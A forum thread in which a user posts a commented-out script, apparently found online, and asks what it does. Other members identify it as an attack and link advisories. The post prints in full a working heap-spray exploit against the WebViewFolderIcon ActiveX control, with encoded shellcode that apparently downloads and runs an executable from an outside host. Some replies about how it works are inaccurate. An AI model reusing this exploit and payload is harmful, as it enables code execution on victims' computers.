473,624 Members | 2,394 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

What is this script doing?

1 New Member
Could someone please give me some idea what this script is doing.

It might be some malicious script that might have been used to spread virus or to hack username/ password, hence it has been ### so that it can't be run by default.

thanks.
Vicky

<!-- <html>
###<body>
###<script>
### var heapSprayToAddr ess = 0x05050505;
### var shellcode = unescape("%u909 0"+"%u9090"+
###"%u54eb%u758 b%u8b3c%u3574%u 0378%u56f5%u768 b%u0320" +
###"%u33f5%u49c 9%uad41%udb33%u 0f36%u14be%u382 8%u74f2" +
###"%uc108%u0dc b%uda03%ueb40%u 3bef%u75df%u5ee 7%u5e8b" +
###"%u0324%u66d d%u0c8b%u8b4b%u 1c5e%udd03%u048 b%u038b" +
###"%uc3c5%u727 5%u6d6c%u6e6f%u 642e%u6c6c%u430 0%u5c3a" +
###"%u2e55%u786 5%u0065%uc033%u 0364%u3040%u0c7 8%u408b" +
###"%u8b0c%u1c7 0%u8bad%u0840%u 09eb%u408b%u8d3 4%u7c40" +
###"%u408b%u953 c%u8ebf%u0e4e%u e8ec%uff84%ufff f%uec83" +
###"%u8304%u242 c%uff3c%u95d0%u bf50%u1a36%u702 f%u6fe8" +
###"%uffff%u8bf f%u2454%u8dfc%u ba52%udb33%u535 3%ueb52" +
###"%u5324%ud0f f%ubf5d%ufe98%u 0e8a%u53e8%ufff f%u83ff" +
###"%u04ec%u2c8 3%u6224%ud0ff%u 7ebf%ue2d8%ue87 3%uff40" +
###"%uffff%uff5 2%ue8d0%uffd7%u ffff%u7468%u707 4%u2f3a" +
###"%u6d2f%u686 f%u6973%u776e%u 6265%u6973%u657 4%u632e" +
###"%u2e6f%u6b7 5%u622f%u6e69%u 3264%u652e%u657 8%u0000");
###var heapBlockSize = 0x400000;
###var payLoadSize = shellcode.lengt h * 2;
###var spraySlideSize = heapBlockSize - (payLoadSize+0x 38);
###var spraySlide = unescape("%u050 5%u0505");
###spraySlide = getSpraySlide(s praySlide,spray SlideSize);
###heapBlocks = (heapSprayToAdd ress - 0x400000)/heapBlockSize;
###memory = new Array();
###
###for (i=0;i<heapBloc ks;i++)
###{
### memory[i] = spraySlide + shellcode;
###}
###for ( i = 0 ; i < 128 ; i++)
###{
### try
### {
### var tar = new ActiveXObject(' WebViewFolderIc on.WebViewFolde rIcon.1');
### tar.setSlice(0x 7ffffffe, 0x05050505, 0x05050505,0x05 050505 );
### }
### catch(e){}
###}
###
###function getSpraySlide(s praySlide, spraySlideSize)
###{
### while (spraySlide.len gth*2<spraySlid eSize)
### {
### spraySlide += spraySlide;
### }
### spraySlide = spraySlide.subs tring(0,spraySl ideSize/2);
### return spraySlide;
###}
###
###</script>
###</body>
###</html>
### -->
Oct 17 '06 #1
8 1365
YenRaven
29 New Member
can i ask where you got this. it dosent seem to be javascript at least nothing like what iv seen befor but id recongize a memory address anywhere. it seems to be sliceing and moveing ram. humm didnt know this was possible from a browser. does it even work?
Oct 17 '06 #2
YenRaven
29 New Member
well with a little research i found this

http://www.securiteam.com/exploits/6A0060AH5G.html
http://www.secguru.com/node/345

looks like it is an attack. can you post where you found it?
Oct 17 '06 #3
iam_clint
1,208 Recognized Expert Top Contributor
邐邐哫疋謼㕴͸囵皋̠㏵䧉굁�༶ ᒾ㠨瓲섈෋�㯯痟廧庋̤曝ಋ譋 ᱞ�ҋ΋쏅牵浬湯搮汬䌀尺⹕硥e 쀳ͤ぀౸䂋謌ᱰ训ࡀ৫䂋贴籀䂋锼 躿๎ト茄␬\闐뽐ᨶ瀯濨诿⑔ 跼멒�卓匤탿뽝ﺘຊ叨菿Ӭⲃ戤 탿线`rᅲ瑨灴⼺洯桯楳睮 扥楳整挮⹯歵戯湩㉤ 攮數

lmao thats unencoded ... looks like chinese to me! :p no clue what it does i don't believe its messing with memory but i could be wrong.
Oct 17 '06 #4
YenRaven
29 New Member
邐邐哫疋謼㕴͸囵皋̠㏵䧉굁�༶ ᒾ㠨瓲섈෋�㯯痟廧庋̤曝ಋ譋 ᱞ�ҋ΋쏅牵浬湯搮汬䌀尺⹕硥e 쀳ͤ぀౸䂋謌ᱰ训ࡀ৫䂋贴籀䂋锼 躿๎ト茄␬\闐뽐ᨶ瀯濨诿⑔ 跼멒�卓匤탿뽝ﺘຊ叨菿Ӭⲃ戤 탿线`rᅲ瑨灴⼺洯桯楳睮 扥楳整挮⹯歵戯湩㉤ 攮數

lmao thats unencoded ... looks like chinese to me! :p no clue what it does i don't believe its messing with memory but i could be wrong.
it seems what it does is cause a denial of service on the unsuspecting victums computer then executes some arbitray code to allow some hacker control over you r machine.
Oct 17 '06 #5
iam_clint
1,208 Recognized Expert Top Contributor
maybe but most people don't even allow activex controls..


this script is useless throw it away.
Oct 17 '06 #6
YenRaven
29 New Member
ahh yes but that is what the try catch is for it looks like. if your computer isnt set up to allow activeX controls automatically youll never know it was there.
Oct 17 '06 #7
iam_clint
1,208 Recognized Expert Top Contributor
http://72.14.203.104/search?q=cache: icHrjvjhWxQJ:ww w.xfocus.net/stardust/rss/st-exps.rss+javasc ript+0x7ffffffe &hl=en&gl=us&ct =clnk&cd=10
Oct 17 '06 #8
iam_clint
1,208 Recognized Expert Top Contributor
what this script is trying todo is give you an overflow.... nothing special good luck messing with it.
Oct 17 '06 #9

Sign in to post your reply or Sign up for a free account.

Similar topics

28
1797
by: Brent Eamer | last post by:
function SetDefaultDate() { d = new Date(); return d; } ........ <TD align=left> Start Date: </TD> <TD align=left> <SELECT name="batchStartDate" size="1" maxlength="50" value="<SCRIPT>SetDefaultDate()</SCRIPT>"> </TD> </TR>
17
2628
by: Paul | last post by:
HI! I get an error with this code. <SCRIPT language="JavaScript"> If (ifp==""){ ifp="default.htm"} //--></SCRIPT> Basicly I want my iframe to have a default page if the user enters in directly. so I need a way doing this. so I check to see if the ifp value is null and if so then assign it a value. is this correct?
4
1614
by: Paul | last post by:
HI! I have a script that does not seem to work. can someone tell me what I am doing wrong here? <script language="JavaScript"> function firefoxautofix(){ parent.window.resizeBy(-1,-1) parent.window.resizeBy(+1,+1) } </script>
121
10011
by: typingcat | last post by:
First of all, I'm an Asian and I need to input Japanese, Korean and so on. I've tried many PHP IDEs today, but almost non of them supported Unicode (UTF-8) file. I've found that the only Unicode support IDEs are DreamWeaver 8 and Zend PHP Studio. DreamWeaver provides full support for Unicode. However, DreamWeaver is a web editor rather than a PHP IDE. It only supports basic IntelliSense (or code completion) and doesn't have anything...
2
1145
by: syedfazalullah | last post by:
Hi, Is there any one who could help me to execute the following code correctly. <html> <head> <title>Some Title</title> <script> win=window.open('',null,'height=300,width=700');
2
464
by: Miguel Dias Moura | last post by:
Hello, i want to open a new window when a button is clicked. I am working in ASP.net / VB. However my code is not working. This is my Script Code: <script runat="server"> Private Sub openNewWindow(ByVal sender As System.Object, ByVal e As
2
2567
by: Tarik Monem | last post by:
OK! I've gone through a few tutorials and I cannot understand what I'm doing wrong casting_registration.php <table> <tr> <td> <form enctype="multipart/form-data" action="thankyou.php" method="post" name="registrationform"> Choose a shows:
16
1903
by: SirG | last post by:
I'm looking for an explanation of why one piece of code works and another does not. I have to warn you that this is the first piece of Javascript I've ever written, so if there is a better way or a simpler answer, by all means show me the light! What I'm trying to do is refresh the page at a timed interval ( actually redirect the page... ) and I have a simple piece of code I got from the net that works, but I need to modify it a little...
0
8240
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look ! Part I. Meaning of...
0
8625
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth. The Art of Business Website Design Your website is...
0
7168
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
1
6111
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules. He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms. Adolph will...
0
5565
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one. At the time of converting from word file to html my equations which are in the word document file was convert into image. Globals.ThisAddIn.Application.ActiveDocument.Select();...
0
4082
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
0
4177
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
1
1791
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.
2
1487
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.